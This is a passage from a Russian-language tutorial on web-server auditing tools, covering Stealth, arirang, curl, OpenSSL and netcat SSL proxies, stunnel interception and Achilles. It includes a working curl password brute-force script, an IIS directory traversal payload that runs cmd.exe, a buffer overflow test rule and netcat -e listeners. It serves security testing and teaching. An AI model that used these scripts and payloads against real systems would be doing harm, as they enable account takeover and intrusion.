    Еще немного о сканировании нескольких Web-серверов: программа постоянно фиксирует ошибки, выдает сообщения об ошибках, требующих, чтобы их закрывали вручную. Короче, Stealth - не лучшее средство для сканирования многих серверов одновременно.

    Кнопка IDS Test работает аналогично технике обхода IDS у показано, как включить обход IDS.

    Как только Stealth завершит сканирование, он выдаст запрос на сохранение результатов. Результаты сканирования представляют собой HTML-файл, в котором перечислены все возможные уязвимости, которые были найдены. Stealth - быстрое и простое средство, которое позволяет выполнить 6500 тестов для Web-сервера одновременно.

    (рис 8.3) Обход IDS

    Создание новых правил

    Конструирование правил для Stealth весьма просто. Вы задаете URL, метод запроса и ожидаемый HTTP-код возврата. Например, для поиска резервной копии index.html файла вам следует создать файл со следующим содержимым.

    #INF Backup index.html file
    #GET /index.html.bak #200

    Вместо метода #GET также может быть #HEAD или #POST. Код возврата #200 может быть заменен любым кодом возврата HTTP. Stealth не поддерживает пользовательские массивы, поэтому файлы внутри набора директорий должны быть перечислены отдельно. Параметры #GET и #200 подразумеваются по умолчанию и потому могут быть опущены. Как видно, базовый тест Stealth для URL не так развит как у whisker. У Stealth есть средство для упрощения разработки тестов на уязвимость - Stealth Exploit Development Tool.

    показаны настройки для нашего простого теста для файла index.html.bak.

    (рис 8.4) Настройка теста уязвимости

    На закладке Options вы можете задать строку, которая будет показывать возврат ложного ответа или определять User-Agent. Некоторые Web-приложения используют заголовок User-Agent, чтобы принять решение о том, может ли броузер получить доступ к сайту. Некоторые броузеры не поддерживают JavaScript, ActiveX или Java, и это может послужить отказом в доступе к сайту. На рис 8.5 показан этот параметр.

    (рис 8.5) Параметры для теста уязвимости

    Другой классный прием, используемый в Stealth - это тест на переполнение буфера. Атака на переполнение буфера может быть применена против любого адреса, по которому Web-приложение требует списка параметров. Правило для проверки на переполнение буфера содержит четыре составляющих.

  • bofgen. URL, введенный в двойных кавычках.
  • bofstr. Строка, используемая для атаки.
  • bytes. Количество повторений символа, используемого для переполнения буфера.
  • chars. Символ для заполнения буфера.
  • Ниже приведено правило для проверки условий переполнения буфера в строке авторизации ввода Web-приложения.

    #INF Login.asp buffer overflow check
    "bofgen=/login.asp?user=%bofstrpasswd=none","bytes=999","chars=A"

    В HTTP-запросе, который посылает Stealth, строка %bofstr меняется на 999 символов A.

    Как только описание метода взлома создано, вам остается указать показан пример теста, называемого Sourcedis, который обычно не используется.

    (рис 8.6) Добавление новых тестов

    Пресечение уклонения Pitfalls to Avoid

    Как уже упоминалось, возможности Stealth по автоматическому сканированию набора Web-серверов ограничены. Stealth время от времени генерирует ошибки DNS, которые обычно случаются в процессе сканирования сервера с виртуальными хостами или когда сканируется сервер с несколькими IP-адресами (как в случае со многими большими, сильно загруженными сайтами). Ошибка DNS безобидна, но ее появление требует, чтобы вы закрыли окно сообщения, которое генерирует Stealth.

    Большая часть тестов Stealth опирается на возвращаемые сервером HTTP-коды. Это хорошо, когда вы тестируете имеющиеся скрипты на наличие прорех, но это вовсе не означает, что скрипт уязвим. Большинство прорех viewcode.asp в IIS-файлах зафиксировано последующими заплатками; но Stealth только определяет их наличие и ошибочно принимает положительное решение. Даже если Stealth и может распознать специфические строки в результатах работы теста, немногие тесты могут это сделать. Использование HTTP-кодов возврата не означает, что Stealth может пропустить прореху, но это означает, что он может породить большое количество ошибочных положительных решений о наличии таких прорех.

    Опирающаяся на оконный интерфейс утилита не слишком хорошо взаимодействует с другими. Сложно создать скрипт, который генерирует список Web-серверов или систем с открытым 80 портом, передать этот список на вход Stealth и затем разобрать выходной файл. Средства, выполняемые из командной строки, с другой стороны, могут быть встроены в конструкции программных циклов, и программными конвейерами передавать данные средствам разбора результатов, которые вы предпочитаете. Помните, как просто вы манипулировали выводом от whisker с помощью утилит tee и grep?

    Stealth не поддерживает SSL-соединение. Это просто преодолеть. В разделе "Многоцелевые средства" мы увидим, как SSL-прокси легко решает эту проблему.

    Twwwscan/Arirang

    Twwwscan и arirang - близнецы. Twwwscan - Windows-сканер, с полностью графическим интерфейсом. Arirang построен на основе прототипа из Berkeley Software Distribution (BSD) и использует такое же, как twwwscan, рабочее ядро, тот же формат базы данных.

    Реализация: компиляция исходных текстов

    В отличие от .

    Процесс инсталляции похож на многие другие программы из коллекции портов. Прежде всего, убедитесь, что ваша коллекция портов актуальна (внесены последние изменения), а затем соберите исполняемые коды arirang.

    $ cd /usr/ports/security/arirang
    $ cvs up -Pad
    $ make
    $ make install

    Наберите arirang в командной строке, и справка по использованию программы сможет поприветствовать вас.

    Запуск Arirang. Запуск Arirang следует принципу простоты. Программа разработана как быстрый, качественно работающий сканер уязвимостей. Поддержка прокси, SSL и средств обхода IDL были принесены в жертву скорости и аккуратности работы. Запустив arirang с набором правил сканирования по умолчанию, можно увидеть вывод, похожий на информацию, выдаваемую whisker.

    $ arirang -G -h www.victim.com

    Параметр -G указывает на необходимость использования информации из заголовка тестируемого Web-сервера для определения типа сервера и используемой операционной системы. Вместо этого вы можете задать параметр -o, чтобы запросить netcraft-тип сервера и его версию. По умолчанию arirang, сканирует 80 порт, но воспользовавшись параметром -p, вы можете сканировать другой порт. Помните, по аналогии со Stealth, если вы используете 443 порт, arirang может это делать, но не поддерживает SSL-соединение.

    Примечание. , собирает информацию о Web-серверах и сортирует эти данные в соответствии с базовой операционной системой и ПО Web-сервера. Эта база данных, возможно, достаточно полная, но он также опирается на информацию, полученную из заголовка, передаваемого тестируемым сервером, и результаты finger -тестирования с использованием сканеров типа nmap.

    Вы также можете запустить arirang со списком Web-серверов, используя параметр f.

    $ arirang -G -f hosts.txt

    Arirang также предоставляет возможность сканировать интервал IP-адресов с помощью параметра -s (start) и -e (end).

    $ arirang -G -s 192.168.17.2 -e 192.168.17.245

    Параметр -P (верхний регистр) позволяет ускорить работу программы, особенно в случае использования параметра -f или сканирования интервала IP-адресов. Параметр -P управляет количеством одновременно выполняемых процессов. Сканирование уязвимостей не слишком интенсивный с точки зрения загрузки процессора процесс, но он опирается на установление сетевых соединений. Запуск нескольких процессов ведет к уменьшению общего времени сканирования.

    $ arirang -G -f hosts.txt -P 20

    Реализация: создание новых правил

    Описываемый сканер уязвимостей - один из тех, которые можно легко и быстро обновлять вручную. Arirang содержит около 18 баз сканирования, хранимых в файлах с расширением *.uxe. По умолчанию положение этих баз данных определяется в момент компиляции программы. В OpenBSD, *.uxe файлы размещаются в директории /usr/local/share/arirang.

    Отдельные правила определяются параметром -r. Ниже показано, как проверить вашу сеть на наличие червя Code Red или его потенциальных целей.

    $ arirang -G -s 192.168.0.1 -e 192.168.3.255 \
    > -P 20 -r /usr/local/share/arirang/codered.uxe

    На первый взгляд, правила arirang могут показаться сложными для понимания, но все они следуют простой схеме. Рассмотрим несколько правил для примера.

    200 OK- HEAD :/index.html.bak^Backup index.html file;
      Remove backup and test files 
        from the web document root;
    403- GET :/admin/^/admin/ directory;;
    200 OK- HEAD :/include/^/include/ directory;Disable directory listings;
    200 OK- GET :/msadc/..%255c..%255c..%255c../winnt/system32/cmd.exe?
     /c+dir^IIS Superfluous Decode;MS01-026;

    Правила разделяются на семь полей, при этом первое поле не обязательно. В таблице 8.3 описываются составные части правила для arirang.

    "Правила сканирования" arirang
    Поле Описание
    Receive code Код получения [OOB | PEEK | ALL] (Необязательный.) Arirang может обработать сообщение Out-Of-Band (OOB) или Peek (залезть) в его содержимое. Это редко используется, но включено, чтобы средство поддерживало любой тип проверки уязвимости. ALL используется для ожидания ответа с сервера. Несколько проверок вынуждают сервер зависать или не возвращать никаких данных, включая заголовки.
    Response code Код ответа Обычно это числовой ответ с Web-сервера. 404 означает - не найдено, а 200 означает ОК, что подтверждает существование файла. Заметьте, что arirang требует от вас представлять 200 как 200 ОК. Другие коды ответов могут быть числовыми, т.е. 403. Это не обязательно должно быть кодом ответа HTTP, но может быть строкой длиной до 50 байтов (символов), чтобы искать в ней ответ HTML.
    --> Разделитель между кодом ответа и методом запроса.
    HTTP request method Метод запроса HTTP Любой метод запроса HTTP, обозначенный как HTTP/1.0 или HTTP/1.1 RFC. GET, HEAD, и POST используются большую часть времени, но arirang поддерживает такую технику как TRACE и OPTIONS. Метод OPTIONS показывает, какие возможности WebDAV поддерживает сервер.
    :<URI> Файл для проверки. Arirang также поддерживает строку запроса URI, т.е. login.asp? user=test>pass=test. Заставьте правило обратиться к определенному порту с помощью синтаксиса ::<port><URL>. Например, ::8080/ admin/docs/default.cfg запускает на порте 8080. Все другие опции остаются такими же.
    ^<explanation> Короткое описание уязвимости.
    ;<information;> Дальнейшее объяснение уязвимости, ссылка на совет или информацию по отладке.

    Поясняющие и информационные поля позволяют вам осуществлять вывод в сокращенной или расширенной форме.

    Многоцелевые средства

    Описываемые ниже инструментальные средства - это рабочие лошадки, используемые для осуществления соединений поверх HTTP или HTTPS. Соответственно, они не производят поиск уязвимостей или тестирование безопасности систем, но их функциональность может послужить основой для расширения возможностей сканеров уязвимости, обеспечивая поддержку SSL-трафика, или шифрование с целью защиты от прослушивания.

    Curl

    В то время как Netcat называют суперутилитой для сети, curl можно назвать суперутилитой для протоколов. Curl - это утилита командной строки, которая может поддерживать DICT, File, FTP, Gopher, HTTP, HTTPS, LDAP и Telnet. Она также поддерживает HTTP-прокси. Поскольку эта лекции сосредоточена на средствах Web-аудита, мы ограничимся протоколами HTTP и HTTPS.

    Реализация

    Для соединения с Web-сайтом задайте в командной строке URL

    $ curl https://www.victim.com

    Автоматизированный скрипт, который просматривает Web-сайт или осуществляет подбор паролей, в лучшем виде демонстрирует мощь программы curl. В таблице 8.4 представлены некоторые наиболее часто употребляемые параметры программы.

    Наиболее употребляемые параметры Curl
    Опция Описание
    -H/--header Устанавливает заголовок со стороны клиента. Используйте заголовок HTTP, чтобы имитировать несколько типов соединений.
    User-Agent: Mozilla/4.0. Имитирует конкретный броузер. 
    Referer: http://localhost/admin. Обходит слабую авторизацию, 
    которая проверяет страницу ссылок.
    Basic Auth: xxxxx. Задает имя пользователя и пароль.
    Host: localhost. Специфицирует виртуальные хосты
    -b/--cookie -c/--cookie-jar -b использует файл, который содержит cookies, чтобы послать их на сервер. Например, -b cookie.txt включает содержимое cookie.txt во все запросы HTTP. Cookies также могут быть специфицированы в командной строке в форме -b ASPSESSIONID=INEIGNJCNDEECMNPCPOEEMNC. -c использует файл, который хранит cookies так, как они заданы сервером. Например, -c cookies.txt держит каждый cookie с сервера. Cookies важны для обхождения сессий формальной идентификации и обмана.
    -d/--data Предоставляет данные по запросу POST. Это включает данные формы или любые другие данные, генерированные Web-приложением. Например, чтобы задать поле формы для страницы логина, используйте -d login=arbogothpasswd=p4ssw0rd. Эта опция полезна для написания сценариев подбора пароля. Ее реальное преимущество в том, что запросы делаются с POST, что значительно сложнее обмануть с помощью средства типа Netcat.
    -G/--get Изменяет метод POST так, что он использует GET. Применяется только, когда вы специфицируете опцию -d.
    -u/--user -U/--proxy-user Задает имя пользователя и пароль, использованные для базовой идентификации или proxy. Чтобы получить доступ к сайту с базовой идентификацией, используйте -u user:password. Чтобы получить доступ к защищенному паролем proxy, используйте U user: password. Это не имеет смысла, если опция -X не задана.
    --url Устанавливает URL на выборку. Это не обязательный параметр, но вносит ясность, когда используется много опций командной строки. Например, -url https://www.victim .com/admin/menu.php?menu=adduser. Curl дает быструю оптимизацию, когда множественные URL задаются в командной строке, потому что он пытается установить устойчивые соединения. Это означает, что все запросы будут производиться поверх первоначального соединения, вместо установки нового соединения для каждого запроса.
    -x/--proxy Задает HTTP proxy. Например, -x http://intraweb:80/.
    -K/--config Задает файл конфигурации, который включает последовательные опции командной строки. Например, -K www.victim.com.curl.

    Пример из жизни. Угадай пароль!

    Итак, мы очертили несколько полезных опций, которые предлагает curl. Но, по-прежнему, сделать можно не слишком много. Однако сила curl заключена в его применимости к любой ситуации Web (или другому протоколу). Он упрощает написание сценариев. Perl, Python и C располагают библиотеками, которые помогают в соединениях HTTP и манипуляции URL, но требуют множества поддерживающих библиотек и больших знаний. Это не значит, что Perl не может сделать того, что может curl - curl проще. Это новое изобретение колеса, которое поднимает планку для других средств.

    Следующий сценарий демонстрирует, как использовать curl в качестве настроенного средства для грубого угадывания паролей на Web-сайте. Этот Web-сайт использует форму идентификации в запросе POST. Процесс регистрации далее усложняется значением cookie, которое должно быть передано на сервер, когда пользователь регистрируется, и которое модифицируется, если пароль правильный.

    #!/bin/sh
    # brute_script.sh
    # Use curl and a password file to guess passwords in form-based
    # authentication. 2002 M. Shema
    if [ -z $1 ]; then
            echo -e "\n\tUsage: $0 password file"
            exit 1;
    fi
    PASSLIST='/bin/cat $1'
    USERNAME=administrator
    # change the COOKIE as necessary
    COOKIE="MC1=V=3LV=20013HASH=17C9GUID=4A4FC917B47F4D6996A7357D96;"
    CMD="/usr/bin/curl \
        -b $COOKIE \
        -d user=$USERNAME \
        -c cookies.txt \
        --url http://localhost/admin/login.php"
    for PASS in $PASSLIST; do
        # specify Headers on this line to work around inclusion of spaces
        '$CMD \
            -H 'User-Agent: Mozilla/4.0' \
            -H 'Host: localhost' \
            -d passwd=$PASS'
        # upon a successful login, the site changes the user's cookie value,
        # but we don't know what the new value is
        RES='grep -v $COOKIE cookies.txt'
        if [ -n '$RES' ]; then
            echo -e "found $RES with $USER : $PASS\n";
            exit 0;
        fi
    done

    Мы находим словарь распространенных паролей и затем запускаем сценарий на нашей цели. Если повезет, то мы найдем пароль администратора. Если нет, то перейдем к следующему пользователю.

    OpenSSL

    Любая Web-атака, которая осуществляется поверх 80 порта, может также быть произведена поверх порта 443, используемого по умолчанию протоколом SSL. Большинство утилит, программ взлома и скриптов используют 80 порт, чтобы уклониться от потерь, связанных с программами шифрования и поддержки сертификатов. OpenSSL -прокси позволяет перенаправить обычный HTTP-трафик через SSL-соединение с исследуемым сервером.

    Реализация

    Модуль OpenSSL обладает наиболее подходящим набором функциональностей, большую часть которых мы не будем использовать. Если вы наберете в командной строке openssl без параметров, вы сможете попасть в псевдоинтерпретатор OpenSSL.

    $ openssl
    OpenSSL

    Очевидно, что OpenSSL имеет больше функций, чем нам необходимо для настройки прокси. Нас интересует SSL/TLS-клиент и параметр s_client. Вы не сможете получить дополнительную информацию, набрав s_client -h, но ее можно почерпнуть из страниц описания ( man pages ). Теперь мы можем соединиться напрямую с SSL-сервером при помощи команды s_client. Параметр -quiet уменьшит объем информации об ошибках.

    $ openssl s_client -quiet -connect www.victim.com:443
    depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
    verify error:num=18:self-signed certificate
    verify return:1
    depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
    verify error:num=18:self-signed certificate
    verify return:1
    HEAD / HTTP/1.0
    Date: Tue, 26 Feb 2002 05:44:54 GMT
    Server: Apache/1.3.19 (Unix)
    Content-Length: 2187
    Connection: close
    Content-Type: text/html

    Когда мы вводим строку HEAD/HTTP/1.0, сервер возвращает информацию из заголовка. Это означает, что SSL-соединение установлено успешно. Строки, предшествующие команде HEAD показывают сертификационную информацию и статус. Она включает в себя характерное имя (DN для энтузиастов LDP-протокола) и адрес электронной почты персоны, создавшей сертификат. OpenSSL также показывает, что сертификат является самоподписанным - т.е. он не подтверждается и не генерируется третьей стороной, уполномоченной поддерживать службу сертификации. В большинстве случаев мы игнорируем эти ошибки, поскольку можем установить SSL-соединение.

    Примечание. В реальной электронной торговле проверка сертификата сервера необычайно важна. Сертификационный домен должен всегда входить в домен, URL которого он защищает, он не может быть в списке отмены и не может быть ограничен по времени действия.

    Теперь мы можем сохранять ввод, перенаправив запрос HEAD на вход команде s_client.

    $ echo -e "HEAD / HTTP/1.0\n\n" | \
    > openssl s_client -quiet -connect www.victim.com:443

    Теперь мы находимся в шаге от того, чтобы сделать запрос к HTTPS-серверу, но это не решает проблемы использования утилиты вроде arirang для сканирования SSL-сервера. Чтобы сделать это, необходимо запустить команду s_client с прокси. В предыдущем примере s_client соединялся с SSL-сервером, посылал HTTP-запрос, принимал HTTP-ответ и затем соединение закрывалось. Arirang или Stealth могут осуществлять более 6000 запросов. Очевидно, что нам требуется несколько более существенная автоматизация.

    Программа inetd для Unix (и Cygwin ) решает эту проблему. Демон inetd выполняется в системе и прослушивает заданные TCP- и UDP-порты. Как только другой хост посылает запрос на соединение на один из прослушиваемых портов, inetd выполняет быструю проверку и затем пересылает правильный запрос на соединение другому демону. Например, большинство FTP-серверов для Unix работает с использованием демона inetd. Файл /etc/inetd.conf содержит строки, определяющие для inetd, как обрабатывать FTP-запрос.

    # /etc/inetd.conf example content
    ftp stream   tcp nowait   root   /usr/libexec/ftpd   ftp -US

    Первая колонка, в данном случае ftp, представляет номер порта, который прослушивает служба. Значение ftp можно заменить на 21 - порт FTP по умолчанию, и все останется по-прежнему. Как это может помочь нам настроить SSL-прокси? Мы всего лишь создадим новый сервис, который будет прослушивать TCP-порт по нашему выбору. Затем, вместо вызова FTP-демона, мы вызовем команду s_client.

    # /etc/inetd.conf SSL proxy example content
    80  stream      tcp nowait      root    /home/istari/ssl_proxy.sh

    Файл /home/istari/ssl_proxy.sh содержит две строки.

    #!/bin/sh
    openssl s_client -quiet -connect www.victim.com:443 2 /dev/null
    Примечание. Установка SSL-прокси на сервере, обращенном в интернет, может иметь неожиданные негативные последствия. Всегда ограничивайте доступ к SSL-прокси с использованием файлов /etc/hosts.allow и /etc/hosts.deny, или их эквивалентов для Unix.

    После установки соединения с локальным хостом (localhost) по 80 порту, соединение перенаправляется поверх SSL на адрес www.victim.com по порту 443. Любое соединение, которое вы установите с выбранным сервером, будет осуществляться с локальным хостом (или IP-адресом прокси-сервера). Таким образом, выполняются все правила сканирования .

    $ arirang -G -h localhost -p80 -r unix.uxe

    Принципиальное ограничение этого приема состоит в том, что сканирование всегда осуществляется для одного хоста. SSL-прокси - не настоящий прокси, в том смысле, что он осуществляет трансляцию протокола от произвольного хоста к произвольному хосту (конфигурация "многие ко многим"). Вместо этого он передает запрос от любого хоста к заданному хосту (конфигурация "многие к одному"). Следовательно, вы не можете сканировать интервал IP-адресов через SSL-прокси, но, по крайней мере, вы можете тестировать сервер, у которого запущена только HTTP-служба. Конечно, если вы используете whisker, то можно не беспокоиться.

    Пример из жизни. Альтернатива Inetd

    Inetd не единственный метод запуска службы. У него есть преимущество, т.к. он способен применять TCPWrappers, метод, позволяющий или запрещающий доступ к порту на основе IP-адреса. Не все операционные системы используют inetd, а операционная система Windows определенно не имеет данной функции.

    Cygwin. Если ваши друзья по-прежнему дразнят вас, потому что вы пользуетесь какой-либо версией Windows, не мучайтесь. В среде Cygwin есть демон inetd и программа OpenSSL, которая позволяет запускать SSL proxy. Cygwin жалуется на использование 80 в качестве имени службы. Файл /etc/inetd.conf должен содержать следующее.

    # /etc/inetd.conf Cygwin SSL proxy example
    www stream tcp nowait root /home/ssl_proxy.sh ssl_proxy.sh

    Затем вы можете запустить inetd в командной строке. Мы обычно запускаем его с -d, отладочной опцией, чтобы все работало корректно.

    $ /usr/sbin/inetd.exe -d /etc/inetd.conf

    Теперь proxy ожидает на порте 80 и направляет соединения к цели, обозначенной в сценарии ssl_proxy.sh.

    Инсталляция inetd в качестве родной для Windows службы требует больше манипуляций. Есть два метода создания этой службы. Предпосылкой для каждого является переменная среды Windows PATH, содержащая C:\cygwin\bin или любое место, где находится директория cygwin\bin. Inetd может установить себя как службу.

    $ /usr/sbin/inetd.exe -install-as-service /etc/inetd.conf

    Чтобы удалить его, используйте опцию -remove-as-service.

    Встроенные утилиты Cygwin также инсталлируют и запускают службу inetd.

    cygrunsrv -I inetd -d "CYGWIN inetd" -p /usr/sbin/inetd -a -d
        -e CYGWIN=ntsec
    
    cygrunsrv -S inetd

    Опция -R удаляет службу inetd.

    Xinetd. Xinetd добавляет еще немного к демону inetd. Он улучшает регистрацию, управление соединениями и администрирование. В системах, которые поддерживают xinetd, дефиниции служб обычно находятся в директории /etc/xinetd.d. Создайте службу SSL proxy, используя синтаксис xinetd.

    #default: off
    #description: OpenSSL s_client proxy to www.victim.com
    service 80
    {
        socket_type = stream
        wait = no
        protocol = tcp
        user = root
        server = /root/ssl_proxy.sh
        only_from = 127.0.0.1
        disable = no
    }

    Как всегда, опасайтесь запускать службы с root-привилегиями и службы, к которым должны иметь доступ только вы.

    Netcat (sort of). Для одноразовых соединений, таких как запуск компилированного взлома, который обычно работает на порте 80, Netcat экономит день. Возможно, вы не сможете запустить сканирование whisker корректно, но одноразовое соединение будет успешно достигнуто. У Whisker есть преимущество работы с системами Unix и Windows, обеспеченное, если установлен комплект OpenSSL. Netcat pseudo-proxy подходит для одной команды:

    $ nc -w -L -p 80 -e "openssl s_client -quiet \
    -connect www.victim.com:443"

    Опция -L ("слушай внимательнее") дает инструкцию Netcat продолжать прослушивание, даже если клиент закрыл соединение. Опция -e содержит команду s_client для соединения с целью. Затем присоединяйтесь к порту 80 ожидающего хоста, чтобы получить доступ к SSL-серверу вашей цели (например, www.victim.com ).

    Для этого вам придется использовать оригинальную версию Netcat. Например, на OpenBSD опция -L заменена на -k, а опция -e не имеет смысла, поскольку Unix поддерживает конвейеры (|).

    Команда OpenBSD выглядит следующим образом.

    $ nc -w -k -l 80 | openssl s_client -quiet \
    -connect www.victim.com:443

    Конечно, не имеет смысла добавлять дополнительный шаг использования Netcat. У вас должно получиться провести отчет о взломе непосредственно в команду s_client, пропустив шаг. Затем снова могут быть сценарии, в которых строгий сетевой контроль или спутанная среда операционных систем действительно делает это полезным.

    Stunnel

    OpenSSL - великолепное средство для осуществления одностороннего SSL-взаимодействия. К сожалению, вы можете работать в ситуации, когда клиент посылает HTTPS-соединение и не может перейти к HTTP. В этом случае, вам необходимо средство, которое может расшифровывать SSL или находиться между клиентом и сервером и отслеживать трафик. Stunnel обеспечивает эти возможности.

    Вы можете также использовать Stunnel, чтобы обернуть SSL поверх любого сетевого сервиса. Например, вы можете настроить stunnel для управления соединениями (Internet Message Access Protocol) для обеспечения шифрованного доступа к электронной почте (вам также может понадобиться stunnel для управления клиентом).

    Реализация

    SSL-взаимодействие основывается на сертификатах. Первое, что вам нужно, это правильный PEM-файл, который содержит ключи шифрования для использования в процессе взаимодействия. Stunnel поставляется с файлом по умолчанию, который называется stunnel.pem, но вы можете создать и свой собственный с использованием команды openssl.

    $ openssl req -new -out custom.pem -keyout custom.pem -nodes -x509 \
    > -days 365
    ...follow prompts...
    $ openssl dhparam 512 >> custom.pem

    Теперь файл custom.pem готов к использованию. Stunnel ищет по умолчанию файл stunnel.pem, или вы можете использовать свой собственный с помощью параметра -p.

    Замечания о компиляции под Cygwin. Вам может понадобиться отредактировать файл stunnel.c для компиляции stunnel под Cygwin. Закомментируйте следующие строки, которые располагаются в районе 391 строки.

    /*          if(setgroups(1, gr_list)) {
                    sockerror("setgroups");
                    exit(1);
            } */

    Смысл в том, что вы не сможете использовать параметр -g для определения альтернативной группы привилегий, с которыми выполняется stunnel, но вам не понравится ситуация, в которой это могло бы понадобиться.

    Обезьяна в центре поля. Как быть, если вам необходимо просматривать данные, передаваемые поверх SSL-соединения? Вам может понадобиться проверять данные, передаваемые между клиентом, основанным на Web-приложении, и сервером, но клиент передает HTTPS, и сервер принимает только HTTPS. В таком случае, вам понадобится заморозить stunnel между клиентом и сервером, переведя соединение в HTTP, чтобы иметь возможность его читать, а затем вернуть трафик обратно в HTTPS, чтобы сервер мог его получить. Для этого понадобится две команды stunnel.

    Запустите stunnel в обычном режиме демона ( -d ). В таком режиме stunnel принимает SSL-трафик и выдает простой текст. Параметр -f заставляет stunnel оставаться в диалоговом режиме. Обычно это используется для просмотра информации о соединении и чтобы убедиться, что программа работает. Stunnel - не программа с конечной точкой. Другими словами, вы должны задать порт, который будет прослушиваться ( -d <port> ), а также хост и порт, на которые будет перенаправляться трафик ( -r <host:port> ). Ниже приведена команда, по которой прослушивается SSL-трафик по 443 порту и перенаправляется в виде не SSL-трафика на порт 80. Если вы всего лишь хотите изображать обезьяну в центре поля, параметр -r адресует к другой команде stunnel.

    $ stunnel -p custom.pem -f -d 443 -r host:80
    2002.04.15 16:56:16 LOG5[464:1916]: Using '80' as tcpwrapper service name
    2002.04.15 16:56:16 LOG5[464:1916]: stunnel 3.22 on
      x86-pc-mingw32-gnu WIN32 with OpenSSL
     0.9.6c 21 dec 2001
    2002.04.15 16:56:16 LOG5[464:1916]: FD_SETSIZE=4096, file ulimit=-1
      (unlimited) - 2000 clients allowed

    Другая команда stunnel точно такая же, но использует клиентский режим ( -c ) для получения трафика в виде простого текста и вывода трафика, зашифрованного с помощью SSL. В данном примере, команда прослушивает порт 80 и затем посылает трафик на конечный порт 443.

    $ stunnel -p custom.pem -f -d 80 -r www.victim.com:443 -c
    2002.04.15 17:00:10 LOG5[1916:1416]: Using '80' as tcpwrapper service name
    2002.04.15 17:00:10 LOG5[1916:1416]: stunnel 3.22 on
      x86-pc-mingw32-gnu WIN32 with OpenSSL
      0.9.6c 21 dec 2001
    2002.04.15 17:00:10 LOG5[1916:1416]: FD_SETSIZE=4096, file ulimit=-1
      (unlimited) - 2000 clients allowed

    Если мы запустим эти команды на разных компьютерах (или между компьютером и сессией VMware ), то сможем прослеживать трафик, который переадресовывается через 80 порт.

    SSL for a Service. Stunnel обеспечивает ту же функциональность, что и inetd, с дополнительным SSL-шифрованием. Stunnel поддерживает TCP-оболочку, что означает, что он проверяет файлы /etc/hosts.allow и /etc/hosts.deny сразу после запуска. Это дает возможность применить шифрование для любой службы. Например, IMAP - протокол для удаленного доступа к почтовому ящику. Недостаток IMAP состоит в том, что может быть перехвачен пароль.

    Примерно так выглядит конфигурирование службы IMAP, когда она определяется с помощью файла /etc/ inetd.conf.

    imap    stream  tcp nowait  root    /usr/sbin/tcpd  imapd

    Имя службы imap (TCP порт 143); демон TCPWrappers выполняет демон IMAP.

    Теперь посмотрим аналогичную конфигурацию под stunnel. Следующая команда может быть выполнена из командной строки, а не как часть файла /etc/inetd.conf.

    # stunnel -p imapd.pem -d 143 -l /usr/sbin/imapd.exe -N imapd
    2002.04.15 17:08:38 LOG5[1820:1680]: Using 'imapd' as 
      tcpwrapper service name
    2002.04.15 17:08:38 LOG5[1820:1680]: stunnel 3.22 on
      x86-pc-mingw32-gnu WIN32 with OpenSSL
      0.9.6c 21 dec 2001
    2002.04.15 17:08:38 LOG5[1820:1680]: FD_SETSIZE=4096, file ulimit=-1
    (unlimited) - 2000 clients allowed

    Вы уже знакомы с параметром -d, но здесь мы вводим параметры -l и -N. Параметр -l запускает специальную программу для входящего соединения. В данном случае, мы запускаем демона imapd. Параметр -N применяется специально для Cygwin-систем, чтобы подставить имя службы для проверки TCPWrapper. Имя службы можно найти в файле /etc/services, и оно должно присутствовать в файлах /etc/hosts.allow и /etc/hosts.deny.

    Проверка приложений

    До сих пор мы знакомились с программами, которые исследовали Web-сервер. Делая это, мы пропустили прорехи, которые могут иметься в Web-приложениях. Этот класс уязвимостей возникает из-за программирования без учета безопасности и ошибок в настройках взаимодействия между Web-серверами и базами данных. Мы не можем разъяснить природу нарушений безопасности Web-приложений, методологию и приемы поиска уязвимостей в рамках отдельной лекции. Можно лишь показать средства, необходимые для проверки Web-приложений. Немногие из этих программ распространены среди сообщества специалистов по безопасности, они скорее заслуживают быть частью средств отладки Web-приложений.

    Achilles

    В соответствии с названием, Achilles помогает протестировать Web-приложение, работая в режиме прокси с кнопкой "пауза". Обычный прокси располагается между Web-броузером и Web-сервером, незаметно перенаправляя запросы и ответы между ними. Achilles работает точно так же, но он добавляет возможность, которая позволяет вам модифицировать содержимое налету. Achilles позволяет манипулировать значениями cookie, запросами POST, скрытыми полями и всеми другими аспектами HTTP-транзакции - и все это поверх SSL.

    Реализация

    Поскольку это работа прокси, показаны основные моменты конфигурации для запуска Achilles в режиме прокси. Щелкнув на кнопке "пуск" (треугольник), можно запустить прокси, а щелкнув на кнопке "стоп" (квадратик) остановить его - в точности, как при управлении звукозаписывающим устройством.

    (рис 8.7) Основные настройки прокси для Achilles

    Хорошей мыслью будет оставить задействованным параметр Ignore .jpg/.gif. Изменение файлов изображений редко используется для обхода системы безопасности Web-приложения, а число запросов от обычной Web-страницы раздражающе велико.

    Затем настройте свой Web-броузер для работы через IP-адрес прокси (если это тот же компьютер 127.0.0.1) и соответствующий порт (5000 по умолчанию), который прослушивает Achilles. Обычно для этого Achilles просто запускается на вашей локальной машине. Любой Web-броузер, который поддерживает HTTP-прокси, от Lynx до Galeon, могут использовать Achilles. Ограничения для Windows-платформы состоит в том, что Achilles поставляется в виде исполняемого модуля Win32.

    В режиме перехвата вы можете просматривать Web-сайт или несколько Web-сайтов, ничего не замечая. Параметр Log To File позволяет сохранять результаты сессии в файл. Это подходит для исследования Web-приложения. Журнал содержит каждую ссылку, которую вы посетили, включая вспомогательные файлы, такие как JavaScript, (*.js) и другие включаемые файлы (*.inc), которые в обычном режиме не видны в URL. Другое преимущество состоит в том, что у вас фактически есть копия HTML-страниц Web-сайта. Эти тексты могут содержать скрытые поля форм, значения cookie, переменные управления сессией и другую информацию о приложении. Приемы анализа Web-приложений лежат несколько в стороне от темы этой лекции, но для выполнения такой работы совершенно необходимо иметь Achilles.

    В режиме активного перехвата вы можете видеть запросы, порождаемые броузером (Intercept Client Data), и ответы, посылаемые сервером (Intercept Server Data (text)). Перехват клиентской информации позволяет вам манипулировать GET- и POST- запросами и значениями, передаваемыми с переменными cookie. Эта возможность используется для обхода схем аутентификации и авторизации, и чтобы выдавать себя за другого пользователя. Текстовое окно Achilles представляет собой простой текстовый редактор.

    Использование Achilles в таком виде, возможно, выглядит несколько абстрактно. Эта программа относится к категории, о которой говорят "лучше один раз увидеть, чем сто раз услышать". Запустите Achilles, измените настройки прокси для своего броузера, убедитесь в том, что вы выбрали режим Intercept Client Data, и просмотрите ваш любимый Web-сайт. Вы будете удивлены тем, что происходит за сценой, не меньше, чем при проверке своего банковского счета.

